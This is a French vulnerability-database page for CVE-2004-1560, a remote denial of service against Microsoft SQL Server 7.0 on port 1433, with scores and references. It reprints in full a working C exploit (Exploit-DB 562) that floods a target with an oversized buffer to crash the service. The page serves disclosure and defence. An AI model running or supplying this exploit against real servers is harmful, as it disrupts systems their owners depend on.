CVE-2004-1560 : Détail

CVE-2004-1560

11.05%V3
Network
2005-02-20
04h00 +00:00
2017-07-10
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Microsoft SQL Server 7.0 allows remote attackers to cause a denial of service (mssqlserver service halt) via a long request to TCP port 1433, possibly triggering a buffer overflow.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 562

Date de publication : 2004-09-28 22h00 +00:00
Auteur : securma massine
EDB Vérifié : Yes

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack * By sending a large buffer with specified data an attacker can stop the service * "mssqlserver" the error noticed is different according to services' pack but the result is always * the same one. * Exception Codes = c0000005 * vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3 * This code is for educational purposes, I am not responsible for your acts * Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */ #include <stdio.h> #include <winsock.h> #pragma comment(lib,"ws2_32") u_long resolv(char*); void main(int argc, char **argv) { WSADATA WinsockData; SOCKET s; int i; struct sockaddr_in vulh; char buffer[700000]; for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16); if (argc!=3) { printf(" MSSQL denial of service\n"); printf(" by securma massine\n"); printf("Cet outil a ete cree pour test ,je ne suis en aucun cas responsable des degats que vous pouvez en faire\n"); printf("Syntaxe: MSSQLdos <ip> <port>\n"); exit(1); } WSAStartup(0x101,&WinsockData); s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZeroMemory(&vulh,sizeof(vulh)); vulh.sin_family=AF_INET; vulh.sin_addr.s_addr=resolv(argv[1]); vulh.sin_port=htons(atoi(argv[2])); if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) { printf("Impossible de se connecter...le port est en generale 1433...\n"); exit(1); } { send(s,buffer,sizeof(buffer),0); printf("Data envoyes...\n"); } printf("\nattendez quelques secondes et verifiez que le serveur ne repond plus.\n"); closesocket(s); WSACleanup(); } u_long resolv(char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) { printf ("Erreur DNS : Impossible de résoudre l'adresse %s !!!\n",host_name); exit(1); } CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length); } return addr.s_addr; } // milw0rm.com [2004-09-29]

Products Mentioned

Configuraton 0

Microsoft>>Sql_server >> Version 7.0

Microsoft>>Sql_server >> Version 7.0

Microsoft>>Sql_server >> Version 7.0

Microsoft>>Sql_server >> Version 7.0

Microsoft>>Sql_server >> Version 7.0

Références

http://marc.info/?l=bugtraq&m=109650760210411&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/11265
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/12680
Tags : third-party-advisory, x_refsource_SECUNIA
http://securitytracker.com/id?1011434
Tags : vdb-entry, x_refsource_SECTRACK